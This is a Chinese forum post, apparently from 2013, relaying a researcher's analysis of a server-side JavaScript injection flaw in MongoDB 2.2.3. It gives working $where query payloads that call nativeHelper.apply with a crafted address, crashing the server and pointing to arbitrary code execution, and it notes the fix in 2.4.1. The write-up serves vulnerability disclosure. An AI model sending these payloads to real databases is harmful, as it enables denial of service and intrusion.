MongoDB服务器端的JavaScript注入
社区服务
火星文
银行
结婚
道具中心
勋章中心
管理操作原因
基本信息
管理团队
管理操作
在线会员
会员排行
版块排行
帖子排行
手机版
小说论坛
用户中心
搜索
银行
猴岛论坛
帖子
用户
版块
帖子
高级搜索
社区服务
签到统计
关闭
选中
1
篇
全选
猴岛论坛
电脑百科
MongoDB服务器端的JavaScript注入
发帖
回复
倒序阅读
最近浏览的帖子
最近浏览的版块
« 返回列表
新帖
悬赏
任务
交易贴
自动发卡
拍卖
红包
际遇红包
1
个回复
MongoDB服务器端的JavaScript注入
楼层直达
余生_tuzi27
ZxID:54314697
关注Ta
注册时间
2014-10-09
最后登录
2014-09-25
发帖
283
在线
0小时
精华
10
DB
3616
威望
220
保证金
0
桃子
0
鲜花
0
鸡蛋
0
访问TA的空间
加好友
用道具
发消息
加好友
他的帖子
对该用户使用道具
等级:
新兵
举报
只看楼主
使用道具
楼主
发表于: 2013-04-14
0
安全研究者agixid在MongoDB数据库2.2.3版本上发现一个安全漏洞,并且表示Metasploit利用payload正在开发当中。该漏洞主要是MongoDB不正确的使用SpiderMonkey Javascript的NativeHelper函数,导致可以注入代码或缓冲区溢出执行任意代码。
以下为研究者带来的一些分析。
首先在MongoDB中尝试一些服务器端的JavaScript注入,尝试运行一个shell。
> run("uname","-a")
Sun Mar 25 07:09:49 shell: started program
sh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux
0
以下这个命令只能在mongo客户端才有效
> db.my_collection.find({$where:"run('ls')"})
error: {
"$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run is not defined nofile_a:0",
"code" : 10071
}
研究者继续深入尝试
> run
function () {
return nativeHelper.apply(run_, arguments);
}
运行<run>函数,在服务端直接调用 nativeHelper.apply(run_,["uname","-a"]); ,返回信息提示nativeHelper.apply方法存在。
> db.my_collection.find({$where:'nativeHelper.apply(run_, ["uname","-a"]);'})
error: {
"$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0",
"code" : 10071
}
将一个关联数组用到服务器端
> db.my_collection.find({$where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})
Sun Mar 25 07:15:26 DBClientCursor::init call() failed
Sun Mar 25 07:15:26 query failed : sthack.my_collection { $where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017
Error: error doing query: failed
Sun Mar 25 07:15:26 trying reconnect to 127.0.0.1:27017
Sun Mar 25 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017
结果显示:The server crashed \o/ ! (崩溃)
查看看一下其源代码
路径:./src/mongo/scripting/engine_spidermonkey.cpp
JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) {
try {
Convertor c(cx);
NativeFunction func = reinterpret_cast(
static_cast( c.getNumber( obj , "x" ) ) );
void* data = reinterpret_cast<void*>(
static_cast( c.getNumber( obj , "y" ) ) );
verify( func );
BSONObj a;
if ( argc > 0 ) {
BSONObjBuilder args;
for ( uintN i = 0; i < argc; ++i ) {
c.append( args , args.numStr( i ) , argv
);
}
a = args.obj();
}
BSONObj out;
try {
out = func( a, data );
}
catch ( std::exception& e ) {
原函数的功能会从”x” : 135246144调用至JavaScript对象不带任何检查。
> db.my_collection.find({$where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})
Sun Mar 25 07:20:03 Invalid access at address: 0x31337 from thread: conn1
Sun Mar 25 07:20:03 Got signal: 11 (Segmentation fault).
MongoDB已发布最新版本2.4.1修复了该漏洞,
下载地址
http://www.mongodb.org/downloads
[ 此帖被在2014-10-11 17:56重新编辑 ]
本帖de评分:
共
0
条评分
隐藏
本帖de打赏:
共
条打赏
隐藏
打赏
收藏
新鲜事
相关主题
最详细的SQL注入相关的命令整理
最详细的SQL注入相关的命令整理
一个强制弹出窗口的JavaScript类:ForceWindow
菜鸟来求一个易语言的输入法注入源码
新Or 1=1的脚本注入技术详解
可以把黑马注入QQ的吗
回复
引用
鲜花[
0
]
鸡蛋[
0
]
« 返回列表
发帖
回复
关闭